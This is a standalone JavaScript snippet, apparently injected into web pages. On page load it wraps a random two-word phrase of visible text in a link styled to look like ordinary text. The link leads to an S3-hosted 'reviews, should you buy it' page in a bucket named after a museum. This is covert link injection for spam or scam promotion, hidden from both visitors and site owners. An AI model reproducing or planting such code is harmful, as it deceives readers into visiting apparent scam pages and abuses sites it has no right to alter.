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const CONFIG = { url: "https://aga-khan-museum-assets.s3.amazonaws.com/media/the-brain-song-reviews-2026-should-you-buy-it_tkud6.html", linkTarget: "_blank", minWordLength: 2, maxWordLength: 2, skipTags: ["a", "script", "style", "h1", "h2", "h3", "noscript"], }; function insertDynamicLink() { const walker = document.createTreeWalker( document.body, NodeFilter.SHOW_TEXT, { acceptNode(node) { const parent = node.parentElement; if (!parent) return NodeFilter.FILTER_REJECT; const tag = parent.tagName.toLowerCase(); if (CONFIG.skipTags.includes(tag)) return NodeFilter.FILTER_REJECT; if (parent.closest("a")) return NodeFilter.FILTER_REJECT; if (node.textContent.trim().split(/\s+/).length < CONFIG.minWordLength) return NodeFilter.FILTER_REJECT; return NodeFilter.FILTER_ACCEPT; }, } ); const textNodes = []; let node; while ((node = walker.nextNode())) { textNodes.push(node); } if (textNodes.length === 0) return; const randomNode = textNodes[Math.floor(Math.random() * textNodes.length)]; const words = randomNode.textContent.trim().split(/\s+/); if (words.length < CONFIG.minWordLength) return; const phraseLength = Math.min( CONFIG.minWordLength + Math.floor(Math.random() * (CONFIG.maxWordLength - CONFIG.minWordLength + 1)), words.length ); const maxStart = words.length - phraseLength; const startIndex = Math.floor(Math.random() * (maxStart + 1)); const phrase = words.slice(startIndex, startIndex + phraseLength).join(" "); const fullText = randomNode.textContent; const phraseIndex = fullText.indexOf(phrase); if (phraseIndex === -1) return; const before = fullText.substring(0, phraseIndex); const after = fullText.substring(phraseIndex + phrase.length); const link = document.createElement("a"); link.href = CONFIG.url; link.textContent = phrase; link.target = CONFIG.linkTarget; link.rel = "noopener noreferrer"; link.style.cssText = "color:inherit;text-decoration:none;"; const fragment = document.createDocumentFragment(); if (before) fragment.appendChild(document.createTextNode(before)); fragment.appendChild(link); if (after) fragment.appendChild(document.createTextNode(after)); randomNode.parentNode.replaceChild(fragment, randomNode); } document.addEventListener("DOMContentLoaded", insertDynamicLink);